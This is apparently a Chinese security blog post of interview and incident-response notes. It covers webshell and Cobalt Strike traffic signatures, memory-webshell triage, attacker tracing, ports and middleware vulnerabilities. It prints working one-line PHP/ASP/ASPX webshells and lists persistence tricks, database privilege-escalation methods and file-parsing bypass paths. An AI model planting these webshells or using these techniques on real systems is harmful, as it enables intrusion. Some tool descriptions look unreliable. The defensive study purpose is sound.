隐藏用户,自启动项、计划任务,shift后门,进程注入 Todesk做持久化。文件todesk目录下 dat .ini文件,远程链接控制码。 本机就存在Todesk dat .ini文件 向日葵 红队专版。 利用cs插件日常可以上面进行的操作写好

现在出现一个钓鱼事件被上线了,客户让你进行上机应急响,应该怎么做?

隔离主机,确定影响范围,钓鱼什么类型的,exe还是其他,样本保存 木马清除,进程扫描,样本邮件分析。

内存马问题?如何排查?查杀?

Listener Filter Servlet 内存马一般来说 重启服务器或重启中间件就可以了,但是一般没这个权限,可以使用专门查杀这个内存马的工具进行扫描尝试 Java Menshell jsp 清除工具 Agent Tomcat类型内存马 Spring类型内存马

内存马特征、有告警内存马,没有常见WEBSHELL流量特征,怎么研判。

面对“有告警但无常见Webshell流量特征”的内存马告警,研判核心是“放弃对流量特征的依赖,转而聚焦内存与行为”:首先通过分析中间件访问日志,确认是否存在“访问不存在路径却返回200”或高频携带特定参数的异常请求模式;若存在,应立即导出目标进程的内存快照,使用专业工具(如MemScanner、jcmd)或云安全平台的虚拟机内部署组件进行扫描,提取出恶意类并反编译确认其连接密码或回连地址;同时重点排查进程启动参数中是否有可疑的Java Agent或JMX配置,最终结合业务上下文,若该进程非中间件进程却存在JSP/Servlet加载行为,或进程启动时间与告警时间高度吻合,即可定性为恶意内存马,按“非白即恶”原则立即处置。

现在有一台主机报对另一台内网主机进行攻击?如何应急

隔离主机,确定影响范围,判断是什么漏洞攻击成功的,有无内网横向,内网失陷情况,范围多大。漏洞修补,后门清除。

工具流量特征

冰蝎

3.0特征

  • 特征分析Content-Type: application/octet-stream 这是一个强特征 查阅资料可知octet-stream的意思是,只能提交二进制,而且只能提交一个二进制,如果提交文件的话,只能提交一个文件,后台接收参数只能有一个,而且只能是流(或者字节数组)
  • 内置16个ua头,比较老,属于n年前的浏览器产品,现在没什么人用
  • content-length长度为5720或5740(随Java版本改变)

4.0特征

  • 10个内置ua头随机选用
  • 端口为49700左右,每次连接会递增
  • PHPwebshell存在固定代码
  • 请求头和响应头字节固定
  • webshell存在默认字符串,为默认连接密码的MD5的前16位
  • Content-Type不再是二进制,改成urlencoded,但是是弱特征

蚁剑

强特征

  • ua头为antsword xxx
  • 蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“0x……=”这种形式(下划线可替换),所以以0x开头的参数名也很可能就是恶意流量

弱特征

可能有明文的@ini_set("display_errors","0")

菜刀

sqlmap

  • payload为base64编码,有明显的字段z0,或z1,z2
  • eval/asset
  • $_POST/$_GET/$_REQUEST

哥斯拉

无明确答案

回答1

  • cookie结尾有分号
  • 响应包结构特征:MD5前16位+base64+MD5后16位
  • 注入内存马时有大量的URL请求,路径相同但参数不同,或者页面不存在但是返回200

回答2

  • 发送一段固定的payload,响应为空
  • 发送一段固定的test代码,执行结果为固定内容
  • 发送一段固定代码来获得基本信息

cs

50050端口、心跳包

一句话木马

asp 一句话木马: 

<%execute(request("value"))%> 

php 一句话木马:<?php@eval($_POST[value]);?> 

变形:<?php$x=$_GET[‘z’];@eval(“$x;”);?> 

aspx 一句话木马: 

<%@ PageLanguage="Jscript"%> 

<%eval(Request.Item["value"])%> 

数据库提权

MySQL

1- mof提权

2- udf提权

3-vbs启动项提权

# SQLserver

1-xp_cmdshell 扩展存储函数提权

2-差异备份提权

冰蝎哥斯拉流量特征

冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端。
冰蝎的通信过程可以分为两个阶段:密钥协商 加密传输
#冰蝎2特征:
默认Accept字段的值很特殊,而且每个阶段都一样冰蝎内置了十余种UserAgent ,每次连接
shell 会随机选择一个进
行使用。但都是比较老的,r容易被检测到,但是可以在burp中修改ua头。
Content-Length: 16, 16就是冰蝎2连接的特征
#冰蝎3特征:
冰蝎3取消动态密钥获取,目前很多waf等设备都做了冰蝎2的流量特征分析,所以3取消了动态密
钥获取;
php抓包看包没有发现什么特征,但是可以发现它是POST请求的
1)Accept头有application/xhtml+xmlapplication/xmlapplication/signedexchange属于弱特征
2)ua头该特征属于弱特征。通过burp可以修改,冰蝎3.0内置的默认16个userAgent都比较老。
现实生活中很少有人使
用,所以这个也可以作为waf规则特征
jsp抓包特征分析Content-Type: application/octet-stream 这是一个强特征查阅资料可知
octet-stream的意思是,只能提交二进制,而且只能提交一个二进制,如果提交文件的话,只能提交
一个文件,后台接收参数只能有一个,而且只能是流(或者字节数组);很少使用。
#哥斯拉
是一个基于流量、HTTP全加密的webshell管理工具相对于蚁剑,冰蝎;哥斯拉具有以下优点。全
部类型的shell均过市
面所有静态查杀
流量加密过市面全部流量wafGodzilla自带的插件是冰蝎、蚁剑不能比拟的

溯源思路

  1. 恶意ip放微步,会自动进行域名反查
  2. 如果ip为傀儡机、跳板机、代理机,放弃
  3. 不是的话先判断cdn,使用超级ping、dns解析记录等方式,确定目标主机
  4. 重复步骤1,或使用nslookup也能查到具体域名
  5. 有域名查域名的whois信息,丢社工库进一步查询,没域名查是否有web服务
  6. 无论有无域名,有web服务就反打查信息

PHP危险函数

eval,asset,exec,shell_exec,system

告警极多

  1. 样本降噪,看200,看hw前有没有出现过,看是不是内部ip
  2. 看行为,看攻击方式,是主动外连还是外连内
  3. 看流量,看有没有奇怪的流量包,看有没有危险内容或函数

WebShell 工具流量特征

1. 蚁剑(AntSword)

蚁剑是一款功能强大且高度可定制的开源 WebShell 管理工具。它的流量特征主要依赖于其编码器(Encoder)连接器(Connector)的配置

  • 默认流量特征

  • POST 请求:蚁剑通常使用 POST 请求,将恶意代码和命令作为参数发送

  • 加密与编码:默认情况下,蚁剑会使用 base64 对数据进行编码。在流量中,可以看到一个或多个经过 base64 编码的参数,其值通常是 eval()system() 等函数

  • 特定标识:在某些默认的编码器中,参数名可能会包含特定字符串,但由于其高度可定制,这并非可靠的识别依据

2. 哥斯拉(Godzilla)

哥斯拉是一个强大的 WebShell 管理工具,其核心特点是无文件内存马加密通信

  • 流量特征

  • 内存马通信:哥斯拉的 WebShell 本身通常是一个无文件马,注入到 Web 容器的内存中。这意味着它没有落地文件,传统的文件查杀方法无效

  • 加密与伪装:哥斯拉的流量与冰蝎类似,同样是加密的,并且其请求头可以高度定制,以伪装成正常的流量

  • 可变参数:与冰蝎不同,哥斯拉的请求参数和值可能会发生变化,这使得基于参数名的检测变得困难

3. 中国菜刀(Chopper)

中国菜刀是一款老牌且经典的 WebShell 管理工具。它的流量特征非常明显,是传统 WAF 和 IDS 重点防御的对象

  • 流量特征

  • 明文传输:菜刀的流量通常是明文的。它使用 base64 编码,但没有进行加密

  • 特定参数:它会固定使用一个名为 z0z1 或其他简单字符的参数来传递恶意代码

  • URL请求特征:菜刀的URL请求中通常会包含 eval()assert() 等关键字,这些关键字是其命令执行的标志

  • 固定请求头:菜刀的 User-Agent 字段通常是固定的,例如 User-Agent: baiduspider

4. 冰蝎 v1.0

冰蝎的第一个版本,其流量特征相对简单,容易被传统的安全设备检测到

  • 通信方式:使用 AES 加密,密钥固定为 0x24
  • 请求特征:URL 中带有 ?pass=xxx 参数,其中 pass 是加密密钥的标识符
  • 响应特征:服务器返回的数据也是加密的,但由于其加密算法简单,很容易被解密分析

5. 冰蝎 v2.0

冰蝎 v2.0 在 v1.0 的基础上进行了重大改进,旨在增强隐蔽性

  • 通信方式:引入了 动态密钥。在首次连接时,客户端会发送一个包含随机 user-agentcookie 的请求,服务器根据这些信息生成一个 AES 加密密钥,并在后续通信中使用

  • 请求特征

  • 无固定参数:URL 中不再有明显的 ?pass= 参数,取而代之的是将加密数据隐藏在请求头中

  • 伪装请求头user-agentcookie 等请求头的值都是随机生成的,以模仿正常的浏览器行为

6. 冰蝎 v3.0

这是目前最常见且最具威胁的版本,它在 v2.0 的基础上进一步升级了通信协议,大大增加了检测难度

  • 通信方式:引入了双向加密和随机密钥,通信过程更为复杂。客户端和服务器会进行一次类似于 TLS 握手的加密协商过程

  • 流量特征

  • 无固定长度:与 v2.0 不同,v3.0 的数据包长度不再固定,而是随着传输数据的大小而变化。这使得基于数据包长度的检测方法失效

  • 伪装通信:v3.0 的通信流量可以伪装成各种协议,例如 WebSocket、HTTP2 等,以逃避传统的网络流量分析工具

  • 请求参数:v3.0 不再将加密数据放在请求头,而是将其隐藏在请求体中,并且可以通过定制来伪装成正常表单提交或 JSON 数据

  • TLS 指纹:如果使用 HTTPS,v3.0 的自签名证书和 TLS 握手过程会产生独特的指纹。然而,攻击者可以通过定制 Malleable C2 Profile 来改变这些指纹

7. 冰蝎 v4.0

冰蝎 v4.0 在隐蔽性上更上一层楼,主要增强了免杀和无文件攻击能力

  • 通信方式:继续沿用 v3.0 的加密通信协议,但加入了更高级的内存马技术

  • 流量特征

  • 无文件落地:v4.0 的 WebShell 通常是一个无文件马,直接注入到 Web 容器的内存中。这意味着它没有落地文件,无法通过文件查杀来定位

  • 流量混淆:利用多层混淆和编码,使得流量分析变得极其困难

CS 流量特征

一、HTTP/HTTPS 通信特征

CS 的核心通信依赖 HTTP/HTTPS,其请求和响应具有以下独特之处:

  • 请求路径 (URI)

  • 默认路径:早期的 CS 版本使用如 /api/rc4/pixel 等明显特征的路径。虽然现在已不常见,但在老旧的、未及时更新的 CS 木马中仍可能出现

  • 伪装路径:高级攻击者会配置 Profile,将路径伪装成正常的 URL,如 /login/css/main.css。此时,检测的关键于路径与请求方法的合理性。例如,POST /css/main.cssGET /submit 都是极度可疑的行为

  • 长度与随机性:某些配置文件会生成长而随机的路径,例如 /hjd83kalsd94jfnnasd83jklfn。在高频访问中,这种随机性反而成为一种异常

  • User-Agent (UA)

  • 默认 UA:早期的 CS 使用一些固定的、容易被识别的 UA 字符串

  • 伪造 UA:攻击者会伪装成常见的浏览器 UA,如 Chrome、Firefox。然而,可以从一致性和时效性来判断:如果来自同一 C2 的所有 Beacon 都使用完全相同的、且已过时的 UA 字符串,则很可能存在 CS 攻击

二、TLS 证书与指纹特征

如果 CS 使用 HTTPS 进行通信,其 TLS/SSL 证书会留下独特的指纹,这是非常强的检测指标

  • 默认证书:CS 服务器默认使用自签名证书,其 Subject 字段通常带有明显的默认值,例如 CN=Major C. A. LindheimO=Internet Widgits Pty Ltd
  • JARM 指纹:这是一种主动 TLS 指纹识别技术。CS 的默认配置具有非常固定的 JARM 指纹。即使攻击者修改了证书的主题信息,默认的 JARM 指纹在很长一段时间内仍保持不变,这使得 JARM 成为检测 CS 最有效的手段之一
  • 证书透明度(CT)日志:如果攻击者使用了看似合法的域名并申请了证书,我们可以通过检查该域名是否出现在 CT 日志中,来进一步确认和溯源

三、请求与响应行为特征

CS 的 HTTP 通信并非简单的请求-响应,而是一种高度规律性的“心跳”模式

  • 心跳模式:Beacon 会以固定的时间间隔(如 10s、60s)向 C2 服务器发送请求。这种高度规律性的、永不停止的通信模式,即使在机器空闲时也存在,与正常用户行为截然不同
  • 请求与响应载荷:心跳请求的载荷(如 Cookie、POST 数据)长度可能固定不变。而当服务器下发指令时,响应包的长度会变长。回传数据时,客户端则会发送一个 POST 请求,其 Body 部分经过加密和 Base64 编码
  • HTTP 状态码:CS C2 服务器的 HTTP 响应状态码绝大多数情况下都是 200 OK,即使请求是无效的。这是其反侦察的手段之一,与正常服务器对错误请求返回 404/500 的行为形成鲜明对比。

四、DNS 与横向移动

为了绕过传统安全设备的检测,CS 提供了更高级的通信方式和行为模式

  • DNS Beacon

  • 查询类型:通常使用 TXTAAAA 记录进行数据传输,A 记录用于心跳

  • 子域名爆破:Beacon 会频繁对特定域名进行 DNS 查询,查询的前缀是长而随机的字符串,用于编码数据

  • 查询频率:与 HTTP 类似,具有固定的心跳间隔,产生持续、规律的 DNS 查询流量

  • 横向移动

  • SMB/TCP Beacon:用于在内网中横向移动,它们会创建命名管道或监听特定端口。异常的命名管道或内部端口连接行为是重要的检测指标

其他

Cookies 和 session 区别

Cookie 和 Session 都是客户端与服务器之间保持状态的解决方案

1,存储的位置不同,cookie:存放在客户端,session:存放在服务端。Session 存储的数据

比较安全

2,存储的数据类型不同

两者都是 key-value 的结构,但针对 value 的类型是有差异的

cookie:value 只能是字符串类型,session:value 是 Object 类型

3,存储的数据大小限制不同

cookie:大小受浏览器的限制,很多是是 4K 的大小, session:理论上受当前内存的限制,4,生命周期的控制

cookie 的生命周期当浏览器关闭的时候,就消亡了

(1)cookie 的生命周期是累计的,从创建时,就开始计时,20 分钟后,cookie 生命周期结束,

(2)session 的生命周期是间隔的,从创建时,开始计时如在 20 分钟,没有访问 session,那么

session 生命周期被销毁

什么是同源策略?

为了防止不同域在用户浏览器中彼此干扰,浏览器对从不同来源(域)收到的内

容进行隔离。

浏览器不允许任何旧有脚本访问一个站点的 cookie,否则,会话容易被劫持。

只有发布 cookie 的站点能够访问这些 cookie,只有通过该站点返回的页面所包

含或加载的 JavaScript 才能访问 cookie。

3389 无法连接的几种情况

答:没开放 3389 端口;端口被修改;防护拦截;处于内网(需进行端口转发)

一个成熟并且相对安全的 CMS,渗透时扫目录的意义?

答:敏感文件、二级目录扫描;站长的误操作比如:网站备份的压缩文件、说

明.txt、二级目录可能存放着其他站点。

你了解那些中间件

iis
apache
NGINX
tomcat
weblogic
Jboos

常见的中间件漏洞知道哪些?

IIS:PUT漏洞、短文件名猜解、远程代码执行、解析
漏洞等
Apache:解析漏洞、目录遍历等
Nginx:文件解析、目录遍历、CRLF注入、目录穿越等
Tomcat:远程代码执行、war后门文件部署等
JBoss:反序列化漏洞、war后门文件部署等
WebLogic:反序列化漏洞、SSRF任意文件上传、war后
门文件部署等
...........

了解那些端口?

#web网站
80 web
80-89 web
8000-9090 web
8080 Tomcat Web
#数据库
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
50000 DB2
#特殊服务类
443 SSL心脏滴血
445 ms08067/ms11058/ms17010等
873 Rsync未授权
2049 通过网络,跨平台实现文件共享
4000 腾讯QQ客户端
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
#常用端口类
20 ftp : FTP服务器真正传输所用的端口,用于上传、下载
21 ftp : 用于FTP的登陆认证
22 SSH、SFTP : 加密的远程登录;文件传输
23 Telnet: 远程登录(在本地主机上使用此端口与远程服务器的22/3389端口连接)
25 SMTP: 用于发送邮件110 POP3: SUN公司的RPC服务所有端口
445 SMB 弱口令扫描
2601,2604 zebra 路由,默认密码zebra
3389 远程桌面

.目前已知哪些版本的容器有解析漏洞,具体举例?

(1) IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夹名
(2) IIS 7.0/7.5
默认 Fast-CGI 开启,直接在 url 中图片地址后面输入/1.php,会把正常图片
当成 php 解析
(3) Nginx
版本小于等于 0.8.37,利用方法和 IIS 7.0/7.5 一样,Fast-CGI 关闭情况下也
可利用。
空字节代码 xxx.jpg.php
(4)Apache
上传的文件命名为:test.php.x1.x2.x3,Apache 是从右往左判断后缀
(6)lighttpd
xx.jpg/xx.php

owasp 漏洞都有哪些?

(1)SQL 注入防护方法:

(2)失效的身份认证和会话管理

(3)跨站脚本攻击 XSS

(4)直接引用不安全的对象

(5)安全配置错误

(6)敏感信息泄露

(7)缺少功能级的访问控制

(8)跨站请求伪造 CSRF

(9)使用含有已知漏洞的组件

(10)未验证的重定向和转发

3389端口无法连接的几种情况?

1.3389关闭状态,
2.端口修改,
3.防火墙连接,
4.处于内网环境,
5.超过了服务器最大连接数,
6.管理员设置、权限,指定用户登录
posted @ 2026-03-29 00:06  AaaTong  阅读(13)  评论(0)    收藏  举报